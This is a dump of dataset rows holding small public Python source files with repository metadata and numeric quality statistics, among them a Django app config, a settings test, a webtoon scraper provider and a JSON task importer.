chho2/ignore/1.py
|
srishtikohli99/CHHO2
|
179d6987b02e20cebf241258fd32a557cc8d4f6e
|
[
"Apache-2.0"
] | null | null | null |
chho2/ignore/1.py
|
srishtikohli99/CHHO2
|
179d6987b02e20cebf241258fd32a557cc8d4f6e
|
[
"Apache-2.0"
] | null | null | null |
chho2/ignore/1.py
|
srishtikohli99/CHHO2
|
179d6987b02e20cebf241258fd32a557cc8d4f6e
|
[
"Apache-2.0"
] | null | null | null |
# -*- coding: utf-8 -*-
"""
Created on Fri Jul 5 03:41:18 2019
@author: srishti
"""
print("Hello")
| 11.333333
| 35
| 0.578431
| 16
| 102
| 3.6875
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.146341
| 0.196078
| 102
| 8
| 36
| 12.75
| 0.573171
| 0.745098
| 0
| 0
| 0
| 0
| 0.294118
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
216e704aed5840412ef0e392bf76c8a25c1a2f07
| 96
|
py
|
Python
|
covid_stats/apps.py
|
cploutarchou/covid-19-tracker
|
896114097be79939073ac82734b146d7a50df586
|
[
"MIT"
] | null | null | null |
covid_stats/apps.py
|
cploutarchou/covid-19-tracker
|
896114097be79939073ac82734b146d7a50df586
|
[
"MIT"
] | 15
|
2020-09-09T17:57:15.000Z
|
2020-12-15T19:35:01.000Z
|
covid_stats/apps.py
|
cploutarchou/covid-19-tracker
|
896114097be79939073ac82734b146d7a50df586
|
[
"MIT"
] | null | null | null |
from django.apps import AppConfig
class CovidStatsConfig(AppConfig):
name = 'covid_stats'
| 16
| 34
| 0.770833
| 11
| 96
| 6.636364
| 0.909091
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.15625
| 96
| 5
| 35
| 19.2
| 0.901235
| 0
| 0
| 0
| 0
| 0
| 0.114583
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
219551bbea42d4634a08e149f5f7635c2b411a23
| 259
|
py
|
Python
|
tests/unit-tests/test_settings.py
|
Ycallaer/schema_registry_viz
|
dfd474445ff7f5188d92fca2091d3dcedf48106f
|
[
"MIT"
] | 1
|
2021-07-07T08:04:57.000Z
|
2021-07-07T08:04:57.000Z
|
tests/unit-tests/test_settings.py
|
Ycallaer/schema_registry_viz
|
dfd474445ff7f5188d92fca2091d3dcedf48106f
|
[
"MIT"
] | null | null | null |
tests/unit-tests/test_settings.py
|
Ycallaer/schema_registry_viz
|
dfd474445ff7f5188d92fca2091d3dcedf48106f
|
[
"MIT"
] | null | null | null |
from schema_reg_viz.config.settings import get_settings
def test_health():
result = get_settings()
assert result.schema_registry.port == 8081
assert result.schema_registry.protocol == 'http'
assert result.schema_registry.url == 'localhost'
| 25.9
| 55
| 0.752896
| 33
| 259
| 5.666667
| 0.606061
| 0.192513
| 0.28877
| 0.417112
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.018265
| 0.15444
| 259
| 9
| 56
| 28.777778
| 0.835616
| 0
| 0
| 0
| 0
| 0
| 0.050193
| 0
| 0
| 0
| 0
| 0
| 0.5
| 1
| 0.166667
| false
| 0
| 0.166667
| 0
| 0.333333
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
219de8b1f6e08aa97a613a0524aea586f32a0e32
| 104
|
py
|
Python
|
slide/snippet/list_str.py
|
TomohikoK/PyCat
|
d36632a6a348c1cdad8ba0594a7600e350c72f7c
|
[
"Apache-2.0"
] | null | null | null |
slide/snippet/list_str.py
|
TomohikoK/PyCat
|
d36632a6a348c1cdad8ba0594a7600e350c72f7c
|
[
"Apache-2.0"
] | 6
|
2018-04-13T11:27:00.000Z
|
2018-05-11T11:57:57.000Z
|
slide/snippet/list_str.py
|
TomohikoK/PyCat
|
d36632a6a348c1cdad8ba0594a7600e350c72f7c
|
[
"Apache-2.0"
] | null | null | null |
from typing import List
list_of_string: List[str] = ['a', 'b', 'c']
list_of_int: List[int] = [1, 2, 3]
| 20.8
| 43
| 0.625
| 20
| 104
| 3.05
| 0.7
| 0.196721
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.034483
| 0.163462
| 104
| 4
| 44
| 26
| 0.666667
| 0
| 0
| 0
| 0
| 0
| 0.028846
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.333333
| 0
| 0.333333
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
21d1b7a99a4a4f2fed40cc3a522775a64b047e5d
| 289
|
py
|
Python
|
server/data.py
|
ParkingPrediXion/ParkingPrediXion
|
c7677c4e3f6961412e2e15fae987254f76f10eba
|
[
"MIT"
] | 2
|
2017-10-24T23:10:45.000Z
|
2017-10-25T00:29:26.000Z
|
server/data.py
|
ParkingPrediXion/ParkingPrediXion
|
c7677c4e3f6961412e2e15fae987254f76f10eba
|
[
"MIT"
] | 9
|
2020-09-05T05:40:43.000Z
|
2022-03-08T22:49:44.000Z
|
server/data.py
|
kevincai79/SmartParking
|
596c17585eef8559f2972c86822a209289ac0788
|
[
"MIT"
] | 2
|
2017-11-02T21:37:10.000Z
|
2017-11-15T06:53:14.000Z
|
import json
import numpy as np
def get_timestamps(evts):
return [c['timestamp'] for c in evts['content']]
def get_bucket(dt):
return dt.weekday() * 24 + dt.hour
from collections import namedtuple
AllData = namedtuple('AllData', ['spots', 'trends', 'total'])
def load_data():
pass
| 17
| 61
| 0.705882
| 42
| 289
| 4.785714
| 0.714286
| 0.059701
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.008163
| 0.152249
| 289
| 16
| 62
| 18.0625
| 0.812245
| 0
| 0
| 0
| 0
| 0
| 0.134948
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.3
| false
| 0.1
| 0.3
| 0.2
| 0.8
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
|
0
| 4
|
21d2f21cea92db12ee599f05b8864f30beeca361
| 165
|
py
|
Python
|
gallery/urls.py
|
D-GopalKrishna/RobotixWeb2021
|
3f99d41b2c4c99a3d1a214db1489f3e2fb1bfbb2
|
[
"Apache-2.0"
] | null | null | null |
gallery/urls.py
|
D-GopalKrishna/RobotixWeb2021
|
3f99d41b2c4c99a3d1a214db1489f3e2fb1bfbb2
|
[
"Apache-2.0"
] | 7
|
2020-02-12T02:54:35.000Z
|
2022-03-12T00:06:26.000Z
|
gallery/urls.py
|
D-GopalKrishna/RobotixWeb2021
|
3f99d41b2c4c99a3d1a214db1489f3e2fb1bfbb2
|
[
"Apache-2.0"
] | 6
|
2020-02-10T16:37:38.000Z
|
2021-01-28T13:39:46.000Z
|
from django.urls import path
from . import views
urlpatterns = [
path('',views.gallery,name='gallery'),
path('api/',views.gallery_api,name='gallery_api')
]
| 20.625
| 53
| 0.69697
| 22
| 165
| 5.136364
| 0.454545
| 0.212389
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.139394
| 165
| 7
| 54
| 23.571429
| 0.795775
| 0
| 0
| 0
| 0
| 0
| 0.134146
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 0.333333
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
21e54bcf8058300c62c0f523bd119043add0d44d
| 62
|
py
|
Python
|
tests/datastructures/test_queue.py
|
TristenSeth/campy
|
9e726c342d682239e1c19e6f5645c0b2167d7fab
|
[
"MIT"
] | 5
|
2018-12-03T19:18:50.000Z
|
2021-05-31T07:17:06.000Z
|
tests/datastructures/test_queue.py
|
TristenSeth/campy
|
9e726c342d682239e1c19e6f5645c0b2167d7fab
|
[
"MIT"
] | 1
|
2020-02-13T20:56:05.000Z
|
2020-02-19T18:32:56.000Z
|
tests/datastructures/test_queue.py
|
TristenSeth/campy
|
9e726c342d682239e1c19e6f5645c0b2167d7fab
|
[
"MIT"
] | 1
|
2017-06-06T07:29:07.000Z
|
2017-06-06T07:29:07.000Z
|
"""Tests for the :mod:`campy.datastructures.queue` module."""
| 31
| 61
| 0.709677
| 8
| 62
| 5.5
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.080645
| 62
| 1
| 62
| 62
| 0.77193
| 0.887097
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
1d0efb5b6619dd435a246a3aa0f6270dc997abe4
| 488
|
py
|
Python
|
stevesie/resources/task_dependency.py
|
Stevesie/stevesie-py
|
fd1bcf9271912dd2925d1279b7b9e3796d2c2e70
|
[
"MIT"
] | 1
|
2018-12-25T11:11:46.000Z
|
2018-12-25T11:11:46.000Z
|
stevesie/resources/task_dependency.py
|
Stevesie/stevesie-py
|
fd1bcf9271912dd2925d1279b7b9e3796d2c2e70
|
[
"MIT"
] | null | null | null |
stevesie/resources/task_dependency.py
|
Stevesie/stevesie-py
|
fd1bcf9271912dd2925d1279b7b9e3796d2c2e70
|
[
"MIT"
] | 1
|
2021-07-26T21:58:41.000Z
|
2021-07-26T21:58:41.000Z
|
from typing import NamedTuple, Sequence
from datetime import datetime
from stevesie.remote_resource import RemoteResource
from stevesie.resources.task_collection_field import TaskCollectionField
class TaskDependencyTuple(NamedTuple):
id: str
variable_name: str
name: str
sample_value: str
created_at: datetime
TaskDependencyTuple.__new__.__defaults__ = (None,) * len(TaskDependencyTuple._fields)
class TaskDependency(TaskDependencyTuple, RemoteResource):
pass
| 27.111111
| 85
| 0.811475
| 51
| 488
| 7.470588
| 0.627451
| 0.062992
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.135246
| 488
| 17
| 86
| 28.705882
| 0.902844
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.076923
| 0.307692
| 0
| 0.846154
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
|
0
| 4
|
df1c0a5f087c452fa58e3ff9d7e772f2d4cfd30d
| 226
|
py
|
Python
|
objetto/observers.py
|
brunonicko/objetto
|
50540bc14c5767e3f8fa09bf59ba322cb043a353
|
[
"MIT"
] | 8
|
2020-12-10T21:04:06.000Z
|
2022-01-22T07:43:07.000Z
|
objetto/observers.py
|
brunonicko/objetto
|
50540bc14c5767e3f8fa09bf59ba322cb043a353
|
[
"MIT"
] | null | null | null |
objetto/observers.py
|
brunonicko/objetto
|
50540bc14c5767e3f8fa09bf59ba322cb043a353
|
[
"MIT"
] | 1
|
2022-01-20T21:39:48.000Z
|
2022-01-20T21:39:48.000Z
|
# -*- coding: utf-8 -*-
"""Observer mixin class."""
from ._observers import ActionObserver, ActionObserverExceptionData, ActionObserverToken
__all__ = ["ActionObserver", "ActionObserverToken", "ActionObserverExceptionData"]
| 32.285714
| 88
| 0.774336
| 16
| 226
| 10.625
| 0.8125
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.004878
| 0.09292
| 226
| 6
| 89
| 37.666667
| 0.82439
| 0.19469
| 0
| 0
| 0
| 0
| 0.340909
| 0.153409
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
df2bb3f06b0fd3d58ebaf78583368995ea6f807f
| 1,600
|
py
|
Python
|
manga_py/providers/translate_webtoons_com.py
|
sonvt1710/manga-py
|
848a78e93b890af0c92056a1a9fc7f6ce5707cf6
|
[
"MIT"
] | 7
|
2019-07-31T13:50:59.000Z
|
2019-08-24T03:04:13.000Z
|
manga_py/providers/translate_webtoons_com.py
|
sonvt1710/manga-py
|
848a78e93b890af0c92056a1a9fc7f6ce5707cf6
|
[
"MIT"
] | 18
|
2019-07-26T22:27:06.000Z
|
2019-08-25T13:45:13.000Z
|
manga_py/providers/translate_webtoons_com.py
|
sonvt1710/manga-py
|
848a78e93b890af0c92056a1a9fc7f6ce5707cf6
|
[
"MIT"
] | 2
|
2019-08-07T12:38:25.000Z
|
2019-08-08T06:53:31.000Z
|
from manga_py.provider import Provider
from .helpers.std import Std
class TranslateWebToonsCom(Provider, Std):
def get_archive_name(self) -> str:
return self.normal_arc_name(self.get_chapter_index())
def get_chapter_index(self) -> str:
return self.re.search(r'\bepisodeNo=(\d+)', self.chapter).group(1)
def get_content(self):
return self.http_get(self.get_url())
def get_manga_name(self) -> str:
return self.text_content_full(self.content, 'h3.subj')
def _chapters(self, content):
return self._elements('.detail_lst > ul > li > a', content)
@staticmethod
def _filter_chapters(chapters):
result = []
for item in chapters:
content = item.cssselect('.rate_num.cplt')[0].text_content_full().strip('\n\t\r \0')
if content == '100%':
result.append(item)
return result
def get_chapters(self):
pages = self._elements('.paginate > a:not([class])')
chapters = self._chapters(self.content)
if pages:
n = self.normalize_uri
for i in pages:
content = self.http_get(n(i.get('href')))
chapters += self._chapters(content)
return self._filter_chapters(chapters)
def get_files(self):
parser = self.html_fromstring(self.chapter)
return self._images_helper(parser, '.img_info > img')
def get_cover(self) -> str:
return self._cover_from_content('.thmb img')
def book_meta(self) -> dict:
# todo meta
pass
main = TranslateWebToonsCom
| 30.188679
| 96
| 0.621875
| 202
| 1,600
| 4.717822
| 0.40099
| 0.083945
| 0.054565
| 0.071354
| 0.044071
| 0
| 0
| 0
| 0
| 0
| 0
| 0.005892
| 0.2575
| 1,600
| 52
| 97
| 30.769231
| 0.796296
| 0.005625
| 0
| 0
| 0
| 0
| 0.081812
| 0
| 0
| 0
| 0
| 0.019231
| 0
| 1
| 0.263158
| false
| 0.026316
| 0.052632
| 0.157895
| 0.578947
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
df2c0482b57e718f47cb035d272a2bd625f0f2ab
| 323
|
py
|
Python
|
python/tasker/src/json/Importer.py
|
PUT-II/akai-org-rekrutacja
|
82e3b65de3f2ce965a8f71e61395e32750d90f87
|
[
"MIT"
] | null | null | null |
python/tasker/src/json/Importer.py
|
PUT-II/akai-org-rekrutacja
|
82e3b65de3f2ce965a8f71e61395e32750d90f87
|
[
"MIT"
] | null | null | null |
python/tasker/src/json/Importer.py
|
PUT-II/akai-org-rekrutacja
|
82e3b65de3f2ce965a8f71e61395e32750d90f87
|
[
"MIT"
] | null | null | null |
import json
class Importer:
def __init__(self):
self.__encoded_tasks: str = ""
pass
def read_tasks(self):
with open("taski.json", mode="r", encoding="utf8") as file:
self.__encoded_tasks = file.read()
def get_tasks(self):
return json.loads(self.__encoded_tasks)
| 20.1875
| 67
| 0.613003
| 41
| 323
| 4.463415
| 0.585366
| 0.180328
| 0.262295
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.004237
| 0.26935
| 323
| 15
| 68
| 21.533333
| 0.771186
| 0
| 0
| 0
| 0
| 0
| 0.04644
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.3
| false
| 0.1
| 0.2
| 0.1
| 0.7
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 1
| 0
|
0
| 4
|
df3f0c07e068990c16324e3f1d867643cf9be2d8
| 181
|
py
|
Python
|
tests/unit2/test_arcade.py
|
LiorAvrahami/arcade
|
fce254a9eb89629de1f99d57a63759a2953184e9
|
[
"MIT"
] | 824
|
2016-01-07T19:27:57.000Z
|
2020-08-01T03:15:47.000Z
|
tests/unit2/test_arcade.py
|
LiorAvrahami/arcade
|
fce254a9eb89629de1f99d57a63759a2953184e9
|
[
"MIT"
] | 646
|
2016-01-08T02:42:31.000Z
|
2020-08-03T14:13:27.000Z
|
tests/unit2/test_arcade.py
|
LiorAvrahami/arcade
|
fce254a9eb89629de1f99d57a63759a2953184e9
|
[
"MIT"
] | 221
|
2016-01-07T22:36:33.000Z
|
2020-07-24T23:30:08.000Z
|
import logging
import arcade
def test_logging():
arcade.configure_logging(logging.WARNING)
logger = logging.getLogger('arcade')
assert logger.level == logging.WARNING
| 20.111111
| 45
| 0.751381
| 21
| 181
| 6.380952
| 0.52381
| 0.208955
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.154696
| 181
| 8
| 46
| 22.625
| 0.875817
| 0
| 0
| 0
| 0
| 0
| 0.033149
| 0
| 0
| 0
| 0
| 0
| 0.166667
| 1
| 0.166667
| false
| 0
| 0.333333
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
df4082af9eaf2640800c1ac86b5322b4d1947ee5
| 71
|
py
|
Python
|
src/btc/types_btc.py
|
wenqinchao/btc
|
9d9c7676d830a31396a5b17de981d456c3f27b89
|
[
"MIT"
] | 3
|
2021-03-13T13:56:32.000Z
|
2021-06-09T02:10:11.000Z
|
src/btc/types_btc.py
|
wenqinchao/btc
|
9d9c7676d830a31396a5b17de981d456c3f27b89
|
[
"MIT"
] | null | null | null |
src/btc/types_btc.py
|
wenqinchao/btc
|
9d9c7676d830a31396a5b17de981d456c3f27b89
|
[
"MIT"
] | null | null | null |
from typing import NewType
RPCEndpoint = NewType("RPCEndpoint", str)
| 23.666667
| 41
| 0.774648
| 8
| 71
| 6.875
| 0.75
| 0.654545
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.140845
| 71
| 3
| 41
| 23.666667
| 0.901639
| 0
| 0
| 0
| 0
| 0
| 0.157143
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
df63416bcd28e4af3cbd00c243d23aa369eca361
| 83
|
py
|
Python
|
pyytdata/util/__init__.py
|
princekrroshan01/youtube-api-wrapper
|
922b1737600a3e9f41c30578c8fd202a0e092842
|
[
"MIT"
] | 17
|
2020-07-12T11:32:50.000Z
|
2022-03-15T13:36:43.000Z
|
pyytdata/util/__init__.py
|
princekrroshan01/youtube-api-wrapper
|
922b1737600a3e9f41c30578c8fd202a0e092842
|
[
"MIT"
] | 11
|
2020-07-07T07:34:26.000Z
|
2021-12-17T07:47:04.000Z
|
pyytdata/util/__init__.py
|
princekrroshan01/youtube-api-wrapper
|
922b1737600a3e9f41c30578c8fd202a0e092842
|
[
"MIT"
] | 2
|
2020-08-20T07:31:18.000Z
|
2021-02-28T21:24:51.000Z
|
from .chnlinfo import ChnlInfo
from .info import Info
from .vidinfo import VidInfo
| 20.75
| 30
| 0.819277
| 12
| 83
| 5.666667
| 0.416667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.144578
| 83
| 3
| 31
| 27.666667
| 0.957746
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.